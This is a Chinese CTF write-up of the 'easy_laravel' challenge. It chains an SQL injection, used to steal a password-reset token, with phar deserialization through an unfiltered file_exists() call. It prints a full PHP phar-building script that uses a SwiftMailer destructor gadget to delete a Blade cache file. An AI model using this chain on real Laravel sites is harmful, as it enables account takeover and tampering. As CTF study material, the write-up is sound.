护网杯碰到一个Laravel的代码审计题目,刚好最近在用LA写平台,于是就很感兴趣,题目整体不难,对Laravel框架熟悉就可以做,但整个利用链构造的比较巧妙,感谢出题人@4uuu Nya出了这么一个有意思的题目。
源码可以发现https://github.com/qqqqqqvq/easy_laravel,下载下来本地看一下源码:
1 2 3 4 5 6 7 8 9 10 $factory ->define (App\User ::class , function (Faker\Generator $faker ) { static $password ; return [ 'name' => '4uuu Nya' , 'email' => 'admin@qvq.im' , 'password' => bcrypt (str_random (40 )), 'remember_token' => str_random (10 ), ]; });
很显然,管理员的登陆邮箱已经知道了,同时也知道密码是随机40位字符串,基本不可能爆破。 看一下路由,发现只有note可以在非admin用户下访问,看一下NoteController:
1 2 3 4 5 6 public function index (Note $note ) { $username = Auth ::user ()->name; $notes = DB::select ("SELECT * FROM `notes` WHERE `author`='{$username} '" ); return view ('note' , compact ('notes' )); }
明显的sqli,我们可以获取任何数据库中的内容,但是密码我们即使拿到了也没有什么用,我们发现其注册登陆的整个流程都是Laravel官方推荐的,也就是管理员肯定是这么安装的:php artisan make:auth
既然没有重构这部分代码,也就意味着我们可以去重置管理员密码,点击重置密码时,输入管理员邮箱admin@qvq.im ,那么password_resets中会更新一个token,访问/password/reset/token即可重置密码,首先利用注入拿到token: 然后修改密码即可:
Blade 模版 进入后台后,访问http://49.4.78.51:32310/flag是提示no flag,但是我们看一下FlagController
1 2 3 4 5 public function showFlag ( ) { $flag = file_get_contents ('/th1s1s_F14g_2333333' ); return view ('auth.flag' )->with ('flag' , $flag ); }
很明显,blade渲染的跟我们看到的明显不一样,如果用Laravel写过东西,经常会遇到这种问题,明明blade更新了,页面却没有显示,这都是因为Laravel的模版缓存,很明显,现在我们需要去更改flag的模版缓存,缓存文件的名字是laravel自动生成的,生成方法如下:
1 2 3 4 5 6 7 8 9 10 public function getCompiledPath ($path ) { return $this ->cachePath.'/' .sha1 ($path ).'.php' ; }
但是整个站的逻辑很简单,没有其他文件操作的点,那么就剩下了UploadController,只能上传图片,但是有一个方法引起了我的兴趣:
1 2 3 4 5 6 7 8 9 10 11 12 13 public function check (Request $request ) { $path = $request ->input ('path' , $this ->path); $filename = $request ->input ('filename' , null ); if ($filename ){ if (!file_exists ($path . $filename )){ Flash ::error ('磁盘文件已删除,刷新文件列表' ); }else { Flash ::success ('文件有效' ); } } return redirect (route ('files' )); }
path跟filename没有任何过滤,而我们可以利用file_exists去操作phar包,这里很明显存在一个反序列化,于是现在的思路很明确: phar反序列化=>文件操作删除或者移除=>laravel重新渲染blade=>读取flag 看了下composer,发现都是默认组件,于是全局搜一下unlink,在Swift_ByteStream_TemporaryFileByteStream的析构函数中存在unlink方法: 于是直接构造即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 <?php class Swift_ByteStream_AbstractFilterableInputStream { protected $sequence = 0 ; private $filters = []; private $writeBuffer = '' ; private $mirrors = []; } class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream { private $_offset = 0 ; private $_path ; private $_mode ; private $_reader ; private $_writer ; private $_quotes = false ; private $_seekable = null ; public function __construct ($path , $writable = false ) { $this ->_path = $path ; $this ->_mode = $writable ? 'w+b' : 'rb' ; if (function_exists ('get_magic_quotes_runtime' ) && @get_magic_quotes_runtime () == 1 ) { $this ->_quotes = true ; } } public function getPath ( ) { return $this ->_path; } } class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream { public function __construct ( ) { $filePath = "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php" ; parent ::__construct ($filePath , true ); } public function __destruct ( ) { if (file_exists ($this ->getPath ())) { @unlink ($this ->getPath ()); } } } $obj = new Swift_ByteStream_TemporaryFileByteStream ();$p = new Phar ('./1.phar' , 0 );$p ->startBuffering ();$p ->setStub ('GIF89a<?php __HALT_COMPILER(); ?>' );$p ->setMetadata ($obj );$p ->addFromString ('1.txt' ,'text' );$p ->stopBuffering ();rename ('./1.phar' , '1.gif' );?>
然后上传,check的时候触发反序列化即可删除模版文件,然后访问flag路由拿到flag:-P